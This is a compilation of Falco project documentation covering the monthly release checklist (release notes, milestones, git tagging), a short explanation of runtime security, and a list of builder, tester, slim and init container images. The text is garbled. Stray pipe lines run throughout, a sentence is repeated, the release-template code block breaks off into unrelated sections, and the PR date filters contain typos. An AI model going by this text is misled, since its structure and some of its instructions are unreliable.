Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.

# Falco Release Process
|
||||
|
||||
Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
|
||||
|
||||
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
|
||||
|
||||
Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
|
||||
|
||||
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
|
||||
|
||||
## Pre-Release Checklist
|
||||
|
||||
### 1. Release notes
|
||||
- Let `YYYY-MM-DD` the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
|
||||
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
|
||||
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
|
||||
- If the PR has no milestone, assign it to the milestone currently undergoing release
|
||||
- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYT-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD) filter) and add them to the milestone currently undergoing release
|
||||
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYT-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD), if any, fix them
|
||||
|
||||
### 2. Milestones
|
||||
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
|
||||
- Close the completed milestone
|
||||
|
||||
### 3. Release PR
|
||||
|
||||
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
|
||||
- If any, manually correct it then open an issue to automate version number bumping later
|
||||
- Versions table in the `README.md` update itself automatically
|
||||
- Generate the change log https://github.com/leodido/rn2md, or https://fs.fntlnz.wtf/falco/milestones-changelog.txt for the lazy people (it updates every 5 minutes)
|
||||
- Add the lastest changes on top the previous `CHANGELOG.md`
|
||||
- Submit a PR with the above modifications
|
||||
- Await PR approval
|
||||
|
||||
## Release
|
||||
|
||||
Let `x.y.z` the new version.
|
||||
|
||||
### 1. Create a tag
|
||||
|
||||
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
|
||||
|
||||
```
|
||||
git pull
|
||||
git checkout master
|
||||
git tag x.y.z
|
||||
git push origin x.y.z
|
||||
```
|
||||
|
||||
> **N.B.**: do NOT use an annotated tag
|
||||
|
||||
- Wait for the CI to complete
|
||||
|
||||
### 2. Update the GitHub release
|
||||
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
|
||||
- Use `x.y.z` both as tag version and release title
|
||||
- Use the following template to fill the release description:
|
||||
```
|
||||
<!-- Copy the relevant part of the changelog here -->

### What is Runtime Security?
|
||||
|
||||
Runtime security refers to an approach to preventing unwanted activity on a computer system.
|
||||
With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
|
||||
With runtime security an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
|
||||
Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
|
||||
Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.

||||
> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.
|
||||
### Build & Testing Dockerfiles
|
||||
- `./builder`: `falcosecurity/falco-builder` - The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source.
|
||||
- `./tester`: `falcosecurity/falco-tester` - Container image for running the Falco test suite.
|
||||
|
||||
## Alpha Release Containers
|
||||
|
||||
These Dockerfiles (and resulting container images) are currently in `alpha`. We'd love for you to test these images and [report any feedback](https://github.com/falcosecurity/falco/issues/new/choose).
|
||||
|
||||
### Slim and Minimal Dockerfiles
|
||||
The goal of these container images is to reduce the size of the underlying Falco container.
|
||||
- `./slim-dev`: Like `./dev` above but removes build tools for older kernels.
|
||||
- `./slim-stable`: Like `./stable` above but removes build tools for older kernels.
|
||||
- `./minimal`: A minimal container image (~20mb), containing only the files required to run Falco.
|
||||
|
||||
### Init Containers
|
||||
These container images allow for the delivery of the kernel module or eBPF probe either via HTTP or via a container image.
|
||||
- `kernel/linuxkit`: Multistage Dockerfile to build a Falco kernel module for Linuxkit (Docker Desktop). Generates an alpine based container image with the kernel module, and `insmod` as the container `CMD`.
|
||||
- `kernel/probeloader`: Multistage Dockerfile to build a Go based application to download (via HTTPS) and load a Falco kernel module. The resulting container image can be ran as an `initContainer` to load the Falco module before Falco starts.
